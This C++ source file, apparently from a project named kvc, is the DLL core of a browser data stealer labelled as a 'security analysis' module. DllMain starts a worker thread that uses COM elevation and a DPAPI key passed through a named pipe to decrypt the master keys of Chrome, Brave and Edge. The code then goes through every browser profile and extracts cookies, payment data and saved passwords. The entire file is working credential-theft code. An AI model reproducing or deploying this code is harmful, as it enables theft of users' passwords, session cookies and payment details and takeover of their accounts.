Files
kvc/kvc/CryptCore.cpp
2025-10-04 22:05:44 +02:00

233 lines
8.8 KiB
C++

// CryptCore.cpp - Security module entry point and workflow coordination
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
#include "CryptCore.h"
#include "BrowserCrypto.h"
#include "DataExtraction.h"
#include "CommunicationModule.h"
#include "SelfLoader.h"
#include <memory>
#include <stdexcept>
namespace SecurityComponents
{
// Initializes security orchestrator and establishes pipe communication
SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName)
{
m_logger.emplace(lpcwstrPipeName);
if (!m_logger->isValid())
{
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
}
ReadPipeParameters();
}
// Main execution workflow: decrypt keys, enumerate profiles, extract data
void SecurityOrchestrator::Run()
{
BrowserManager browserManager;
const auto& browserConfig = browserManager.getConfig();
m_logger->Log("[*] Security analysis process started for " + browserConfig.name);
std::vector<uint8_t> comKey, dpapiKey;
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
// Edge requires split-key strategy: different keys for different data types
if (browserConfig.name == "Edge")
{
m_logger->Log("[*] Initializing split-phase strategy for Edge");
// Phase 1: COM elevation for cookies and payment data
try {
m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)");
MasterKeyDecryptor comDecryptor(*m_logger);
comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies);
m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey));
} catch (const std::exception& e) {
m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what()));
throw;
}
// Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords
if (!m_edgeDpapiKey.empty())
{
m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator");
dpapiKey = m_edgeDpapiKey;
m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey));
}
else
{
m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted");
dpapiKey = comKey;
}
}
else
{
// Chrome/Brave use single COM-elevated key for all data types
m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name);
MasterKeyDecryptor keyDecryptor(*m_logger);
comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
dpapiKey = comKey;
m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey));
}
// Enumerate all browser profiles
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger);
auto profilePaths = enumerator.FindProfiles();
m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)");
// Extract data from each profile
for (const auto& profilePath : profilePaths)
{
m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
for (const auto& dataConfig : Data::GetExtractionConfigs())
{
// Select appropriate key based on data type and browser
const std::vector<uint8_t>* extractionKey = &comKey;
std::string keyType = "COM";
if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords")
{
extractionKey = &dpapiKey;
keyType = "DPAPI";
}
m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction");
try {
DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger,
m_outputPath, browserConfig.name);
extractor.Extract();
} catch (const std::exception& e) {
m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " +
std::string(e.what()));
}
}
}
m_logger->Log("[*] Security analysis process finished successfully");
}
// Reads configuration parameters from orchestrator via named pipe
void SecurityOrchestrator::ReadPipeParameters()
{
char buffer[1024] = {0};
DWORD bytesRead = 0;
// Read verbose flag
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read verbose flag from pipe");
return;
}
// Read output path
memset(buffer, 0, sizeof(buffer));
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read output path from pipe");
return;
}
buffer[bytesRead] = '\0';
m_outputPath = buffer;
m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath));
// Read DPAPI key (Edge only)
memset(buffer, 0, sizeof(buffer));
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read DPAPI key from pipe");
return;
}
buffer[bytesRead] = '\0';
// Parse DPAPI key message
try {
std::string dpapiKeyMsg(buffer);
if (dpapiKeyMsg.find("DPAPI_KEY:") == 0)
{
std::string hexKey = dpapiKeyMsg.substr(10);
if (hexKey != "NONE" && hexKey.length() >= 64)
{
m_edgeDpapiKey.resize(32);
for (size_t i = 0; i < 32; ++i)
{
std::string byteStr = hexKey.substr(i * 2, 2);
unsigned long byte = std::stoul(byteStr, nullptr, 16);
m_edgeDpapiKey[i] = static_cast<uint8_t>(byte);
}
m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " +
std::to_string(m_edgeDpapiKey.size()) + " bytes");
}
else
{
m_logger->Log("[*] No DPAPI key from orchestrator");
}
}
else
{
m_logger->Log("[-] Invalid DPAPI key message format");
}
}
catch (const std::exception& e)
{
m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what()));
}
}
}
// Security module worker thread entry point
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
try
{
SecurityComponents::SecurityOrchestrator orchestrator(
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
orchestrator.Run();
}
catch (const std::exception& e)
{
try
{
SecurityComponents::PipeLogger errorLogger(
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
if (errorLogger.isValid())
{
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
errorLogger.Log("__DLL_PIPE_COMPLETION_SIGNAL__");
}
}
catch (...) {}
}
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
return 0;
}
// DLL entry point - creates worker thread for asynchronous execution
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
if (!params) return TRUE;
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
delete params;
}
}
return TRUE;
}